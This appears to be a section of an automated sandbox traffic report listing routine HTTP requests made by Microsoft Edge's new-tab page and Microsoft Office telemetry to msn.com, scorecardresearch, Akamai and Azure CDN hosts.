Source: global traffic	HTTP traffic detected: GET /b?rn=1731758497078&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19EE44C5987468FE3EE351FC992369A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731758497078&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cda31fbc6f224238912fb2576d832d0f&activityId=cda31fbc6f224238912fb2576d832d0f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=19EE44C5987468FE3EE351FC992369A3&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=3209b7f36dda42078c53ff09a5010207 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731758497078&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19EE44C5987468FE3EE351FC992369A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=121b5d65723694ace3167dc1731758498; XID=121b5d65723694ace3167dc1731758498
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ8.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=19EE44C5987468FE3EE351FC992369A3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=e364e51fd3804767c4857c0c892f3812 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731758497078&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cda31fbc6f224238912fb2576d832d0f&activityId=cda31fbc6f224238912fb2576d832d0f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0D5F7B803890451EAEC6E948E8F480DB&MUID=19EE44C5987468FE3EE351FC992369A3 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
